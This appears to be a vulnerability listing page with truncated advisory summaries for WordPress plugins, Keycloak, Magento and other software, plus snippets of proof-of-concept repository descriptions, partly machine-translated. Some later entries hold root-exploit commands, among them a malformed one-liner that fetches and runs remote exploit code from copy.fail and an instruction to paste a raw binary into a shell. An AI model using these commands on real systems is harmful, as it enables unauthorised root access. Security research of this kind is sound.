Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation

The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators. id: CVE-2025-4334 info: name: Simple User Registration = 6.3 -...

Nokri – Job Board WordPress Theme <= 1.6.2 - Unauthenticated Arbitrary Password Change

The Nokri – Job Board WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.6.2. This is due to the plugin not properly checking for an empty token value prior updating their details like password. This makes it...

Aajoda Testimonials < 2.2.2 - Cross-Site Scripting

The plugin does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfilteredhtml capability is disallowed for example in multisite setup. id: CVE-2023-2178 info: name: Aajoda Testimonials...

MStore API <= 4.10.7 - Unauthorized Account Access and Privilege Escalation

The MStore API plugin for WordPress is vulnerable to Unauthorized Account Access and Privilege Escalation in versions up to, and including, 4.10.7 due to improper implementation of the Apple login feature. This allows unauthenticated attackers to log in as any user as long as they know the user's...

HyperComments <= 1.2.2 - Arbitrary Options Update

The HyperComments plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the hcrequesthandler function in all versions up to, and including, 1.2.2. This makes it possible for unauthenticated attackers to...

Uncanny Automator <= 6.3.0.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation

The Uncanny Automator - Easy Automation, Integration, Webhooks & Workflow Builder Plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.0.2. This is due to addrole and userrole functions missing proper capability checks performed through the...

Glossy WordPress - Reflected XSS

Glossy WordPress plugin v2.3.5 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to click a malicious link. id: CVE-2024-13325 info: name: Glossy WordPress -...

Cobbler - Authentication Bypass

Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ and possibly even older versions, may be vulnerable to an authentication bypass vulnerability in XMLRPC API /cobblerapi that can result in privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting...

SlideDeck 1 Lite Content Slider - Cross-Site Scripting

SlideDeck 1 Lite Content Slider WordPress plugin = 1.4.8 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL. id: CVE-2024-13224 inf...

WooCommerce Wholesale Lead Capture <= 2.0.3.1 - Unauthenticated Privilege Escalation

Rymera Web Co Pty Ltd. Woocommerce Wholesale Lead Capture = 2.0.3.1 contains a broken access control vulnerability caused by incorrect privilege assignment, letting attackers escalate their privileges, exploit requires no special conditions. id: CVE-2026-27542 info: name: WooCommerce Wholesale Le...

Control Web Panel (CWP) - File Inclusion

In CWP Control Web Panel, previously CentOS Web Panel before version 0.9.8.1107, an unauthenticated attacker can abuse null byte %00 injection with the "scripts" parameter in the /user/loader.php or /user/login.php endpoints to register arbitrary API keys or access sensitive files. This can be...

Keycloak < 24.0.5 - Broken Access Control

A flaw was found in Keycloak. Certain endpoints in Keycloak's admin REST API allow low-privilege users to access administrative functionalities. This flaw allows users to perform actions reserved for administrators, potentially leading to data breaches or system compromise. id: CVE-2024-3656 info...

Adobe Commerce/Magento - Customer Session Identity Switch

Adobe Commerce contains an incorrect authorization vulnerability caused by improper access control, letting attackers escalate privileges to access sensitive resources, exploit requires no user interaction. id: CVE-2026-71362 info: name: Adobe Commerce/Magento - Customer Session Identity Switch...

CVE-2021-4034

CVE-2021-4034 يوم واحد لاستغلال تصعيد الامتيازات في polkit فقط نفّذ make، ثم ./cve-2021-4034 واستمتع بجذر root shell. النشرة الأصلية من المؤلفين الحقيقيين موجودة هنا إثبات المفهوم PoC إذا كان الاستغلال يعمل، ستحصل على جذر root shell فورًا: root@kitploit: localuser@ubuntu-poc:/CVE-2021-4034$ make ...

CVE-2021-38149

CVE-2021-38149 Chikitsa Patient Management System 2.0.0 Cross-Site Scripting stocké XSS Il existe une instance de cross-site scripting stocké XSS sur plusieurs pages de la version 2.0.0 de Chikitsa Patient Management System, qui permet l'exécution de JavaScript arbitraire dans le navigateur d'un...

CVE-2021-4034

CVE-2021-4034 https://raw.githubusercontent.com/hackingyseguridad/CVE-2021-4034/main/binario انسخ المحتوى RAW والصقه في وحدة تحكم Bash shell: ثغرة CVE-2021-4034 بخطورة 7.8 بتاريخ 18/11/2021، في مكوّن pkexec الخاص بـ Polkit https://gitlab.freedesktop.org/polkit/polkit/ الإصدارات المتأثرة من polkit...

CVE-2023-37250-POC

CVE-2023-37250 PoC लेख: https://hackingiscool.pl/roaming-and-racing-to-get-system-cve-2023-37250/...

CVE-2026-1492

CVE-2026-1492 - استغلال تصعيد الصلاحيات في إضافة تسجيل المستخدمين في ووردبريس الوصف يحتوي هذا المستودع على برهان إثبات PoC لاستغلال CVE-2026-1492 ، وهي ثغرة حرجة تؤثر على إضافة User Registration & Membership في ووردبريس. تسمح الثغرة للمهاجمين غير المصادق عليهم بإنشاء حسابات مسؤول من خلال إساءة...

CVE-2021-4034

CVE-2021-4034 https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash بعض الاستخدامات: root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...